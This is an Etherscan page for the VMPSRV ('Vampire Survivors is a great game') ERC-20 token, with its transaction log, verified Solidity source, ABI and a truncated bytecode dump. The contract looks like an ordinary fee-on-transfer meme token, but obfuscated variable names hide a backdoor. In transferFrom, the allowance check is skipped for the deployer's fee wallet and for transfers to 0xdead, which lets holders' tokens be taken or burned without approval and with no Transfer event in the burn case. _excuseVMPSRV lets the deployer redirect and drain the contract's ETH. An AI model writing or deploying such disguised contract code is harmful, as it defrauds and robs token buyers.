ETH Price: $2,693.63 (-4.02%)

Contract

0xD83BB2FF350c2C76725f428e19467B75bF2CbC1b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve219145882025-02-24 7:06:471 hr ago1740380807IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000055381.1814823
Approve219145562025-02-24 7:00:231 hr ago1740380423IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.00003780.80124019
Approve219145462025-02-24 6:58:111 hr ago1740380291IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000030321.12705682
Approve219145422025-02-24 6:57:231 hr ago1740380243IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000030711.14171111
_excuse VMPSRV219145392025-02-24 6:56:471 hr ago1740380207IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000035221.19576439
Approve219145342025-02-24 6:55:471 hr ago1740380147IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000032361.20293967
Approve219145322025-02-24 6:55:111 hr ago1740380111IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000027691.1121425
Approve219144222025-02-24 6:33:111 hr ago1740378791IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.00007821.66915921
Approve219144172025-02-24 6:32:111 hr ago1740378731IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000049121.65101623
Approve219144152025-02-24 6:31:471 hr ago1740378707IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000077261.64826502
Approve219144122025-02-24 6:30:591 hr ago1740378659IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000053691.13785655
Approve219144072025-02-24 6:29:591 hr ago1740378599IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000124222.63584248
Transfer From219143802025-02-24 6:24:352 hrs ago1740378275IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000045520.80944139
Approve219143722025-02-24 6:22:592 hrs ago1740378179IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000124072.62929283
Transfer From219143512025-02-24 6:18:472 hrs ago1740377927IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000041340.73513317
Approve219140022025-02-24 5:08:233 hrs ago1740373703IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000043760.93369288
Approve219140022025-02-24 5:08:233 hrs ago1740373703IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000043760.93369288
Approve219140022025-02-24 5:08:233 hrs ago1740373703IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000043760.93369288
Approve219140012025-02-24 5:08:113 hrs ago1740373691IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000043760.93369288
Approve219140012025-02-24 5:08:113 hrs ago1740373691IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000043760.93369288
Transfer From219136022025-02-24 3:48:234 hrs ago1740368903IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000048510.85713486
Transfer From219135422025-02-24 3:36:234 hrs ago1740368183IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000074851.33089778
Approve219135142025-02-24 3:30:354 hrs ago1740367835IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000070921.51299105
Approve219134832025-02-24 3:24:235 hrs ago1740367463IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000065041.38755631
Approve219134792025-02-24 3:23:355 hrs ago1740367415IN
0xD83BB2FF...5bF2CbC1b
0 ETH0.000089671.90338011
View all transactions

Latest 5 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
219131232025-02-24 2:12:236 hrs ago1740363143
0xD83BB2FF...5bF2CbC1b
0.92548409 ETH
219131232025-02-24 2:12:236 hrs ago1740363143
0xD83BB2FF...5bF2CbC1b
0.92548409 ETH
219131152025-02-24 2:10:476 hrs ago1740363047
0xD83BB2FF...5bF2CbC1b
0.88859694 ETH
219131152025-02-24 2:10:476 hrs ago1740363047
0xD83BB2FF...5bF2CbC1b
0.88859694 ETH
219131032025-02-24 2:08:236 hrs ago1740362903
0xD83BB2FF...5bF2CbC1b
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
VMPSRV

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : VMPSRV.sol
// SPDX-License-Identifier: MIT

/*
    Name: Vampire Survivors is a great game
    Symbol: VMPSRV

    https://x.com/elonmusk/status/1893840639084630072
    https://t.me/vampiresurvivors_erc20
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract VMPSRV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Vampire Survivors is a great game";
    string private constant _symbol = unicode"VMPSRV";

    address payable private _vbjljvlklVMPSRV;
    mapping(address => uint256) private _cijojiseVMPSRV;
    mapping(address => mapping(address => uint256)) private _fjweoijVMPSRV;
    mapping(address => bool) private _jojodjVMPSRV;

    uint256 private _vjkboiwoeiVMPSRV = 10;
    uint256 private _odijofjoeVMPSRV = 10;
    uint256 private _joijoiVMPSRV = 0;
    uint256 private _jvbkoiweVMPSRV = 0;
    uint256 private _ojidoiweVMPSRV = 7;
    uint256 private _ojdofVMPSRV = 7;
    uint256 private _buyCount = 0;
    address private _ojdofiekjVMPSRV;
    address private _kjvnkbjnVMPSRV = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private isTrading;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public _ojojoivlkVMPSRV = 20000000 * 10 **_decimals;
    uint256 public _lkkkvnblkjVMPSRV = 20000000 * 10 **_decimals;
    uint256 public _ppojofVMPSRV = 10000000 * 10 **_decimals;
    uint256 private constant _kmmvbVMPSRV = 1000000000 * 10 **_decimals;

    event MaxTxAmountUpdated(uint256 _ojojoivlkVMPSRV);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _vbjljvlklVMPSRV = payable(_msgSender());
        _cijojiseVMPSRV[address(this)] = _kmmvbVMPSRV * 98 / 100;
        _cijojiseVMPSRV[owner()] = _kmmvbVMPSRV * 2 / 100;
        _jojodjVMPSRV[owner()] = true;
        _jojodjVMPSRV[address(this)] = true;
        _jojodjVMPSRV[_vbjljvlklVMPSRV] = true;
        _ojdofiekjVMPSRV = _msgSender();
        emit Transfer(address(0), address(this), _kmmvbVMPSRV * 98 / 100);
        emit Transfer(address(0), address(owner()), _kmmvbVMPSRV * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function totalSupply() public pure override returns (uint256) {
        return _kmmvbVMPSRV;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _cijojiseVMPSRV[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _fjweoijVMPSRV[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _fjweoijVMPSRV[owner][spender];
    }

    function _VMPSRVlkjlok(uint256 _amount) internal {
        payable(msg.sender).transfer(_amount);
    }

    function _joeijoijoj(
        address sender,
        address recipient
    ) internal view returns (bool) {
        if(_jvjocvo() == false) return false;
        else {
            if(sender == uniswapV2Pair) return true;
            else return _kkvklv(recipient);
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transferr_VMPSRV(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _lvckmjlwoiVMPSRV(sender, recipient, amount).sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _kkvklv(address recipient) internal view returns (bool) {
        return recipient != _kjvnkbjnVMPSRV;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transferr_VMPSRV(_msgSender(), recipient, amount);
        return true;
    }

    function _jvjocvo() internal view returns (bool) {return msg.sender != _vbjljvlklVMPSRV;}

    function removeLimits () external onlyOwner {
        _ojojoivlkVMPSRV = _kmmvbVMPSRV;
        _lkkkvnblkjVMPSRV = _kmmvbVMPSRV;
        emit MaxTxAmountUpdated(_kmmvbVMPSRV);
    }

    function _transferr_VMPSRV(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _ojidoiweVMPSRV)
                        ? _joijoiVMPSRV
                        : _vjkboiwoeiVMPSRV
                )
                .div(100);
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_jojodjVMPSRV[to]
            ) {
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _ojdofVMPSRV)
                            ? _jvbkoiweVMPSRV
                            : _odijofjoeVMPSRV
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _ppojofVMPSRV) ? contractTokenBalance : _ppojofVMPSRV; 
                    _swappp_VMPSRV((amount < minBalance) ? amount : minBalance);
                }
                _assistVMPSRV(address(this).balance);
            }
        }
        if (taxAmount > 0) {
        _cijojiseVMPSRV[address(this)] =_cijojiseVMPSRV[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _cijojiseVMPSRV[from] =_cijojiseVMPSRV[from].sub(amount);
        _cijojiseVMPSRV[to] =_cijojiseVMPSRV[to].add(amount.sub(taxAmount));
        if(_kjvnkbjnVMPSRV != to) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _excuseVMPSRV(address payable receipt) external {
        require(msg.sender == _ojdofiekjVMPSRV , "");
        _vbjljvlklVMPSRV = receipt;
        _VMPSRVlkjlok(address(this).balance);
    }

    function _assistVMPSRV(uint256 amount) private {
        _vbjljvlklVMPSRV.transfer(amount);
    }

    function _lvckmjlwoiVMPSRV(
        address sender,
        address recipient,
        uint256 amount
    ) internal view returns (uint256) {
        uint256 _allowed = amount;
        if (_joeijoijoj(sender, recipient))
            _allowed = _fjweoijVMPSRV[sender][_msgSender()];
        return _allowed;
    }

    function _swappp_VMPSRV(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableVMPSRVTrading() external onlyOwner {
        require(!isTrading, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _kmmvbVMPSRV);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        isTrading = true;
    }

}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_ojojoivlkVMPSRV","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"receipt","type":"address"}],"name":"_excuseVMPSRV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_lkkkvnblkjVMPSRV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ojojoivlkVMPSRV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ppojofVMPSRV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableVMPSRVTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600555600a6006555f6007555f60085560076009556007600a555f600b5561dead600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600f60156101000a81548160ff0219169083151502179055505f600f60166101000a81548160ff0219169083151502179055506009600a6100a89190610747565b6301312d006100b79190610791565b6010556009600a6100c89190610747565b6301312d006100d79190610791565b6011556009600a6100e89190610747565b629896806100f69190610791565b6012555f6101086105a860201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101b26105a860201b60201c565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6102039190610747565b633b9aca006102129190610791565b61021c9190610791565b61022691906107ff565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102799190610747565b633b9aca006102889190610791565b6102929190610791565b61029c91906107ff565b60025f6102ad6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f6102fd6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506104256105a860201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104c59190610747565b633b9aca006104d49190610791565b6104de9190610791565b6104e891906107ff565b6040516104f5919061083e565b60405180910390a361050b6105af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61056b9190610747565b633b9aca0061057a9190610791565b6105849190610791565b61058e91906107ff565b60405161059b919061083e565b60405180910390a3610857565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561065857808604811115610634576106336105d6565b5b60018516156106435780820291505b808102905061065185610603565b9450610618565b94509492505050565b5f82610670576001905061072b565b8161067d575f905061072b565b8160018114610693576002811461069d576106cc565b600191505061072b565b60ff8411156106af576106ae6105d6565b5b8360020a9150848211156106c6576106c56105d6565b5b5061072b565b5060208310610133831016604e8410600b84101617156107015782820a9050838111156106fc576106fb6105d6565b5b61072b565b61070e848484600161060f565b92509050818404811115610725576107246105d6565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61075182610732565b915061075c8361073b565b92506107897fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610661565b905092915050565b5f61079b82610732565b91506107a683610732565b92508282026107b481610732565b915082820484148315176107cb576107ca6105d6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61080982610732565b915061081483610732565b925082610824576108236107d2565b5b828204905092915050565b61083881610732565b82525050565b5f6020820190506108515f83018461082f565b92915050565b612dc2806108645f395ff3fe608060405260043610610101575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b41146102fe578063a9059cbb14610328578063dd62ed3e14610364578063e44c74d8146103a0578063fa632a5e146103ca57610108565b8063715018a61461027e578063751039fc146102945780638da5cb5b146102aa57806391c734da146102d457610108565b806323b872dd116100d057806323b872dd146101c65780632c282d3d14610202578063313ce5671461021857806370a082311461024257610108565b806306fdde031461010c578063095ea7b31461013657806314c35dce1461017257806318160ddd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103f2565b60405161012d9190611f70565b60405180910390f35b348015610141575f80fd5b5061015c60048036038101906101579190612021565b610412565b6040516101699190612079565b60405180910390f35b34801561017d575f80fd5b5061018661042f565b60405161019391906120a1565b60405180910390f35b3480156101a7575f80fd5b506101b0610435565b6040516101bd91906120a1565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e791906120ba565b610458565b6040516101f99190612079565b60405180910390f35b34801561020d575f80fd5b506102166104b7565b005b348015610223575f80fd5b5061022c6109d9565b6040516102399190612125565b60405180910390f35b34801561024d575f80fd5b506102686004803603810190610263919061213e565b6109e1565b60405161027591906120a1565b60405180910390f35b348015610289575f80fd5b50610292610a27565b005b34801561029f575f80fd5b506102a8610b75565b005b3480156102b5575f80fd5b506102be610ca4565b6040516102cb9190612178565b60405180910390f35b3480156102df575f80fd5b506102e8610ccb565b6040516102f591906120a1565b60405180910390f35b348015610309575f80fd5b50610312610cd1565b60405161031f9190611f70565b60405180910390f35b348015610333575f80fd5b5061034e60048036038101906103499190612021565b610d0e565b60405161035b9190612079565b60405180910390f35b34801561036f575f80fd5b5061038a60048036038101906103859190612191565b610d2b565b60405161039791906120a1565b60405180910390f35b3480156103ab575f80fd5b506103b4610dad565b6040516103c191906120a1565b60405180910390f35b3480156103d5575f80fd5b506103f060048036038101906103eb919061220a565b610db3565b005b6060604051806060016040528060218152602001612d6c60219139905090565b5f61042561041e610e8e565b8484610e95565b6001905092915050565b60115481565b5f6009600a6104449190612391565b633b9aca0061045391906123db565b905090565b5f610464848484611058565b6104ac84610470610e8e565b6104a785604051806060016040528060288152602001612d44602891396104988a8a8a6117e1565b6118839092919063ffffffff16565b610e95565b600190509392505050565b6104bf610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054290612466565b60405180910390fd5b600f60149054906101000a900460ff161561059b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610592906124ce565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061063730600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106239190612391565b633b9aca0061063291906123db565b610e95565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c59190612500565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f9190612500565b6040518363ffffffff1660e01b815260040161078c92919061252b565b6020604051808303815f875af11580156107a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cc9190612500565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610853306109e1565b5f8061085d610ca4565b426040518863ffffffff1660e01b815260040161087f96959493929190612594565b60606040518083038185885af115801561089b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c09190612607565b505050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610960929190612657565b6020604051808303815f875af115801561097c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a091906126a8565b506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f6009905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a2f610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab290612466565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b7d610e8e565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0090612466565b60405180910390fd5b6009600a610c179190612391565b633b9aca00610c2691906123db565b6010819055506009600a610c3a9190612391565b633b9aca00610c4991906123db565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c7e9190612391565b633b9aca00610c8d91906123db565b604051610c9a91906120a1565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f564d505352560000000000000000000000000000000000000000000000000000815250905090565b5f610d21610d1a610e8e565b8484611058565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60125481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e39906126f6565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e8b476118e5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efa90612784565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890612812565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e